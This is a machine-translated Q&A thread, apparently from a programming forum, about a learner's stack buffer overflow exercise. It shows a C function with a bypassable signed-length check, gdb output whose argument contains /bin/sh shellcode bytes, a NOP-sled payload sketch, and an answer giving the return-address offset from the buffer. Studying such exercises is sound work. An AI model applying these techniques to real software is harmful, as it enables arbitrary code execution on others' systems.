2015-02-08 85 views
-1

我試圖粉碎堆棧,並嘗試從下面的鏈接讀取shell: http://insecure.org/stf/smashstack.html 我發送arglen neg併成功粉碎了堆棧並且代碼給出了段錯誤。但是我不能計算我應該放置SHELL代碼的RET地址。因此,在距離之後的緩衝區中,我將放置SHELL代碼。從緩衝區指針計算堆棧中的返回地址

int foo(char* arg, short arglen) 
{ 
    char buffer[8]; 
    short maxlen = 8; 
    int len; 
    if (arglen < maxlen) 
    { 
     len = strlen(arg); 
     printf("arglen =%d, buf size =%d\n", arglen, len); 
     strncpy(buffer, arg, len); 
    }else 
     printf("foo finished. Everything is normal.\n"); 
    return 0; 
} 

在strncpy()函數的info frame O /上述代碼p是把斷點:

(gdb) info frame 
Stack level 0, frame at 0xffffc740: 
eip = 0x804854a in foo (target.c:17); saved eip = 0x804864f 
called by frame at 0xff80cd13 
source language c. 
Arglist at 0xffffc738, args: arg=0xffffc750 "1\300Ph//shh/bin\211\343PS\211ᙰ\v̀", arglen=-32549 
Locals at 0xffffc738, Previous frame's sp is 0xffffc740 
Saved registers: 
    ebp at 0xffffc738, eip at 0xffffc73c 
(gdb) 

如何從buffer地址計算的返回地址?

[編輯]

12345%n\x90\x90\x90\x90...\x90\x90SHELLCODE 

喜歡我希望把我的緩衝存儲器

+0

在我的問題中有什麼問題?如果可能的話,我可以幫助清理 – 2015-02-08 12:27:32

+0

您的代碼很可能無法工作,除非您重建Linux內核時沒有x86處理器ca 2001(英特爾稍後)中引入的「不執行堆棧」保護。 – 2015-02-08 14:15:42

回答

0

通話裝配指令將指令指針到堆棧,然後在指令將地址的調用指令指針。 正常功能分錄如下:

push bp 
mov bp, sp 
sub sp, n ; n is the number of bytes for the local variables. 

從上到下堆棧現在看起來像:

arglen 
arg 
ret 
bp 
buffer 

緩衝區是第一個本地參數。然後buffer + 8 + sizeof(void *)是返回地址的位置